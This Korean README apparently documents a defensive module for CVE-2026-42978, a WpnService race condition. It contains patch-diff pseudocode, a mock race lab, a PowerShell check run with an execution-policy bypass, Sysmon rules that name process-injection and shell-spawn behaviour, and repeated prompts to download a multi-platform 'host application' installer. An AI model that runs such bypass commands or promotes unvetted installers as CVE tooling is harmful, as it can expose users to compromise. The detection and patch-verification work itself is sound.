
CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free 및 경쟁 조건 PoC 연구, 진단 스캐너, AI Security Tool용 보안 감사 모듈.
CVE-2026-42978
AI 보안 도구용 Windows 푸시 알림 모듈
차세대 AI 보안 에코시스템, 멀티 프로토콜 터미널 및 자율 에이전트 제품군
웹사이트 · 제품 문서 · 호스트 애플리케이션 · 커뮤니티 채팅
웹사이트 내비게이션: 홈 · 업데이트 · 다운로드 · 모듈
제품: AI Security Tool
사이트: zerodayevil.github.io
문서: https://zerodayevil.github.io/ai-security-tool
이 모듈은 AI Security Tool을 위한 검토된 분석 문서이자 안전 점검 프로필입니다.
프로젝트 사이트나 공식 카탈로그에 등록된 모듈만 사용하십시오. 이 모듈은 승인된 애플리케이션 내부에서, 본인이 소유하거나 서면으로 평가 권한을 부여받은 엔드포인트를 대상으로만 로드하십시오.
이 저장소는 WpnService에 대한 무기화된 익스플로잇을 제공하지 않습니다. lab/ 아래의 실습 환경은 해당 부류의 버그(TOCTOU / 이중 페치)를 모사한 독립 실행형 목업입니다. 실제 푸시 알림 서비스와는 통신하지 않습니다.
먼저 호스트 애플리케이션을 설치하십시오. 그런 다음 Modules → Windows / Local EoP → CVE-2026-42978에서 이 모듈을 활성화하십시오.
공식 출처만 사용하십시오:
CVE-2026-42978은 Windows 푸시 알림의 로컬 권한 상승 취약점입니다. Microsoft는 적절한 동기화 없이 공유 리소스에 동시 접근하는 문제(CWE-362)로 설명합니다. 패치된 wpncore.dll과 패치되지 않은 버전에 대한 연구는 플랫폼 종료 중 PresentationEndpointFacade에서 발생하는 use-after-free 경쟁 조건을 보여줍니다.
WpnService는 세션 0에서 NT AUTHORITY\SYSTEM(svchost.exe -k netsvcs -p)으로 실행됩니다. 토스트, 타일, 배지 전달이 이 서비스를 통해 이루어집니다. 이 프로세스를 상대로 경쟁 조건에서 승리하면 로컬 머신에서 SYSTEM 권한 문제가 됩니다 — 원격 사전 인증 DC 버그가 아닙니다.
상태: 2026년 6월 10일(패치 화요일)에 패치되었습니다. 이 페이지는 방어적 연구입니다.
이것은 CVE-2026-41089(Netlogon RCE)가 아닙니다. 구성 요소, 권한 모델, 패치 날짜가 모두 다릅니다.
푸시 알림을 포함하는 클라이언트 및 서버 SKU. 티켓을 종료하기 전에 MSRC에서 정확한 KB를 확인하십시오.
| 제품군 | 비고 |
|---|---|
| Windows 10 | 1809, 21H2, 22H2 (해당되는 경우 x86 / x64 / ARM64) |
| Windows 11 | 23H2, 24H2, 25H2, 26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025 (구성 요소가 존재하는 경우 전체 및 Server Core) |
공개 서비스 공지 기반 참고 빌드 (항상 MSRC를 다시 확인하십시오):
이 파사드는 알림 API 호출을 감싸고 PresentationEndpointImpl에 위임합니다. 플랫폼 종료 중에 NotificationPlatform 객체가 파괴됩니다. 여러 파사드 메서드는 역사적으로 종료 플래그나 공유 잠금 없이 플랫폼 포인터를 가져왔습니다. 해제가 경쟁에서 이기면 다음 호출은 댕글링 포인터를 사용합니다.
동일한 잠금 및 가드 패턴이 49개의 PresentationEndpointFacade::* 메서드에 적용되었습니다. 그 아래의 구현 메서드는 그대로 남겨졌습니다 — 구멍은 파사드에 있었습니다.
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
패치가 추가하는 것:
AcquireSRWLockShared — 리더-라이터 잠금; 종료는 배타적 잠금을 획득합니다.s_platformShutdown — 해제가 시작되면 E_APPLICATION_EXITING으로 빠져나갑니다.unique_storage를 통한 RAII 해제로, 예외 경로에서도 잠금이 해제됩니다.Feature_4097557817.reports/의 PE 참고 사항:
.text가 18,432 바이트 증가.data가 96 바이트 증가 (Wns::s_platformLock, Wns::s_platformShutdown)WpnService는 SYSTEM입니다. 경쟁 조건에서 승리하면 댕글링 vtable 호출이 로컬 SYSTEM 코드 실행으로 이어질 수 있습니다. 그 단계 — 힙 스프레이, vtable 하이재킹, 페이로드 — 는 여기서 범위 밖입니다.
이 모듈은 근본 원인 이해, 패치 검증, 탐지를 위한 것입니다.
detection/)을 실습 장비에 수집하십시오.프로덕션 WpnService에 대해 크래시나 경쟁 루프를 실행하지 마십시오.
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/은 이중 페치 / TOCTOU의 독립 실행형 C 데모입니다. 명명된 파이프와 공유 메모리를 사용합니다. wpncore.dll을 로드하지 않으며 WpnService를 시작하거나 중지하지도 않습니다.
vulnerable_service.exe — 길이를 검증하고, 대기한 후, 길이를 다시 읽습니다.race_attacker.exe — 그 창 동안 공유 값을 뒤집습니다.--patched — 로컬 변수로 단일 페치; 동일한 공격자가 경쟁 조건을 전혀 보지 못해야 합니다.GCC(MinGW)가 필요합니다. lab/에서:
build.bat
터미널 1: vulnerable_service.exe
터미널 2: race_attacker.exe 5
그런 다음 vulnerable_service.exe --patched와 비교하십시오.
detection/etw_wpn_monitor.ps1일곱 가지 점검:
WpnService 상태 및 PIDwpncore.dll 날짜 / 빌드)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xmlsysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
채널: Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll 빌드가 해당 브랜치의 패치된 행과 일치svchost -k netsvcs가 셸을 생성할 때 경고etw_wpn_monitor.ps1이 패치되지 않았다고 보고하면 — 2026년 6월 업데이트를 설치하고 다시 점검하십시오.
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
요구 사항: 탐지 스크립트용 Windows 10/11 · 목업 실습 환경용 MinGW · Sysmon 선택 사항.
이 README의 스크린샷은 공개 이미지 URL에서 로드됩니다. 이 트리에는 저장되어 있지 않습니다.
4 modules@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 modules@ZeroDayVPN@ZeroDayEvil2 modules@ZeroDayEvil@ZeroDayVPN유용한 작업:
무기화된 WpnService 익스플로잇, 힙 스프레이 도우미, 또는 실제 서비스에 대한 익스플로잇 PoC를 추가하는 PR은 열지 마십시오.
MIT 라이선스로 배포됩니다. LICENSE를 참조하십시오.
승인된 방어적 연구 및 시스템 관리 전용입니다.
서면 승인 없는 로컬 권한 상승 테스트는 불법입니다.
이 취약점은 패치되었습니다. Windows를 최신 상태로 유지하십시오. 이 저장소에는 실제 서비스에 대한 무기화된 익스플로잇이 포함되어 있지 않습니다.
AI Security Tool — 사이버보안 전문가를 위한 터미널 워크플로 및 자동화.
zerodayevil.github.io용 방어 모듈 · 독립 실행형 WpnService 익스플로잇 없음 · MSRC에서 사실 확인
| OS / 플랫폼 | 버전 | 아키텍처 / 형식 | 업데이트 | 상태 | 다운로드 |
|---|
| Windows | v6.3.20 | x64 설치 프로그램 (.exe) | 2026-09-08 | 최신 | Download .exe |
| Windows | v6.3.20 | x64 포터블 (.tar.gz) | 2026-09-08 | 최신 | Download .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | 안정 | Download .dmg |
| Linux | v5.3.27 | 범용 x64 (.tar.gz) | 2026-09-01 | 안정 | Download .tar.gz |
| Android | v5.3.27 | ARM64 APK (.apk) | 2026-09-01 | 안정 | Download .apk |
| 필드 | 값 |
|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| 벤더 권고 | MSRC — Windows Push Notifications EoP |
| 심각도 | 높음 · CVSS 3.1 7.8 |
| 취약점 유형 | CWE-362 경쟁 조건 · 종료 경로에서의 use-after-free |
| 구성 요소 | Windows Push Notifications · WpnService · wpncore.dll |
| 공격 벡터 | 로컬 |
| 필요 권한 | 낮음 (권한이 부여된 로컬 사용자) |
| 사용자 상호작용 | 없음 |
| 패치 화요일 | 2026년 6월 10일 |
| 모듈 유형 | 연구 분석 문서 + 앱 내 안전 점검 + 탐지 팩 |
| 브랜치 | 참고 패치 빌드 |
|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll 예시 (24H2) | 취약 26100.8521 → 패치 26100.8655 |
| 범주 | 예시 함수 |
|---|
| Toast | ToastUnblockAll, ToastCreateSession, ToastCloseSession, ToastRequestAllNotifications, ToastSuppress |
| Tile | TileCreateSession, TileCloseSession, TileRequestResourceForeground |
| 등록 | RegisterApplication, UnregisterApplication, RegisterHandler, UpdateRegistration |
| 설정 | ChangeAppSetting, QueryAppSetting, QueryGlobalSetting |
| 전달 | Deliver, GetPayloadForNotificationId, Submit, PostScheduledNotification |
| 쿼리 | GetRegisteredHandler, GetSettingsFromHandler, GetAssetsFromHandler |
| 규칙 | 용도 |
|---|
WPN_EoP_ChildProcess | svchost (netsvcs)가 cmd / powershell / wscript를 생성 |
WPN_PipeAccess | WPN 관련 명명된 파이프 연결 |
WPN_FileCreation | 알림 데이터 디렉터리 아래의 파일 생성 |
WPN_RegistryTampering | PushNotifications 키 아래의 쓰기 |
WPN_ProcessAccess | svchost에 대한 PROCESS_ALL_ACCESS |
WPN_ThreadInjection | svchost로의 CreateRemoteThread |
| CVE | 분류 |
|---|
| CVE-2026-42977 | EoP · 경쟁 조건 |
| CVE-2026-42978 | EoP · 경쟁 조건 (이 모듈) |
| CVE-2026-42979 | EoP · 경쟁 조건 |
| CVE-2026-42991 | EoP · 경쟁 조건 |
| CVE-2026-42969 | 정보 노출 · 경쟁 조건 |
| CVE-2026-42970 | 정보 노출 · 경쟁 조건 |
| CVE-2026-42973 | 정보 노출 · 경쟁 조건 |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |